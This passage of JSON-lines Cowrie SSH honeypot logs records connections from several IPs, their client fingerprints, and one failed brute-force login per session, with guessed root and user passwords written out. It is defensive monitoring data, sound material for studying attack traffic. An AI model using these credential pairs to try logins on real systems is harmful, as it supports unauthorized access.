{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:17.184333Z","src_ip":"78.44.192.210","session":"3ff7d17b35a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":58432,"dst_ip":"10.17.0.5","dst_port":22,"session":"db87794dfc0e","protocol":"ssh","message":"New connection: 198.12.80.170:58432 (10.17.0.5:22) [session: db87794dfc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:39.482554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:39.495477Z","src_ip":"198.12.80.170","session":"db87794dfc0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:39.511540Z","src_ip":"198.12.80.170","session":"db87794dfc0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chin","password":"chin123","message":"login attempt [chin/chin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:39.628854Z","src_ip":"198.12.80.170","session":"db87794dfc0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:40.660101Z","src_ip":"198.12.80.170","session":"db87794dfc0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48876,"dst_ip":"10.17.0.5","dst_port":22,"session":"91bc1118e867","protocol":"ssh","message":"New connection: 51.250.105.222:48876 (10.17.0.5:22) [session: 91bc1118e867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:47.567559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:47.572109Z","src_ip":"51.250.105.222","session":"91bc1118e867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:47.713790Z","src_ip":"51.250.105.222","session":"91bc1118e867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:48.119806Z","src_ip":"51.250.105.222","session":"91bc1118e867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:49.260319Z","src_ip":"51.250.105.222","session":"91bc1118e867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39944,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a545d35e03e","protocol":"ssh","message":"New connection: 109.172.54.111:39944 (10.17.0.5:22) [session: 4a545d35e03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:00.451187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:00.456835Z","src_ip":"109.172.54.111","session":"4a545d35e03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:00.581950Z","src_ip":"109.172.54.111","session":"4a545d35e03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mitchell","message":"login attempt [root/mitchell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:00.975511Z","src_ip":"109.172.54.111","session":"4a545d35e03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:02.098025Z","src_ip":"109.172.54.111","session":"4a545d35e03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":40596,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3776559b035","protocol":"ssh","message":"New connection: 40.83.182.122:40596 (10.17.0.5:22) [session: e3776559b035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:35.549492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:35.554836Z","src_ip":"40.83.182.122","session":"e3776559b035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:35.636660Z","src_ip":"40.83.182.122","session":"e3776559b035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1991","message":"login attempt [root/1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:36.002111Z","src_ip":"40.83.182.122","session":"e3776559b035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:37.088644Z","src_ip":"40.83.182.122","session":"e3776559b035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":39342,"dst_ip":"10.17.0.5","dst_port":22,"session":"3274cc1fe035","protocol":"ssh","message":"New connection: 78.44.192.210:39342 (10.17.0.5:22) [session: 3274cc1fe035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:57.479934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:57.484399Z","src_ip":"78.44.192.210","session":"3274cc1fe035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:57.599417Z","src_ip":"78.44.192.210","session":"3274cc1fe035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liu","password":"123456","message":"login attempt [liu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:58.071906Z","src_ip":"78.44.192.210","session":"3274cc1fe035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:39:59.184947Z","src_ip":"78.44.192.210","session":"3274cc1fe035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":60968,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc6cfa76da13","protocol":"ssh","message":"New connection: 198.12.80.170:60968 (10.17.0.5:22) [session: dc6cfa76da13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:09.555590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:09.575016Z","src_ip":"198.12.80.170","session":"dc6cfa76da13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:09.597712Z","src_ip":"198.12.80.170","session":"dc6cfa76da13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:09.718229Z","src_ip":"198.12.80.170","session":"dc6cfa76da13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:10.748325Z","src_ip":"198.12.80.170","session":"dc6cfa76da13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":38196,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6dc6d522930","protocol":"ssh","message":"New connection: 112.104.154.26:38196 (10.17.0.5:22) [session: b6dc6d522930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:23.711126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:23.716544Z","src_ip":"112.104.154.26","session":"b6dc6d522930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:23.905569Z","src_ip":"112.104.154.26","session":"b6dc6d522930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ROOT","message":"login attempt [root/ROOT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:24.690364Z","src_ip":"112.104.154.26","session":"b6dc6d522930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:40:25.884997Z","src_ip":"112.104.154.26","session":"b6dc6d522930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":44126,"dst_ip":"10.17.0.5","dst_port":22,"session":"332d6ee05807","protocol":"ssh","message":"New connection: 103.149.170.125:44126 (10.17.0.5:22) [session: 332d6ee05807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:00.177950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:00.184260Z","src_ip":"103.149.170.125","session":"332d6ee05807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:00.435784Z","src_ip":"103.149.170.125","session":"332d6ee05807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olga1985","message":"login attempt [root/olga1985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:01.195055Z","src_ip":"103.149.170.125","session":"332d6ee05807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:02.471980Z","src_ip":"103.149.170.125","session":"332d6ee05807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":46752,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d7488aa8fa","protocol":"ssh","message":"New connection: 40.83.182.122:46752 (10.17.0.5:22) [session: 81d7488aa8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:24.094420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:24.099353Z","src_ip":"40.83.182.122","session":"81d7488aa8fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hel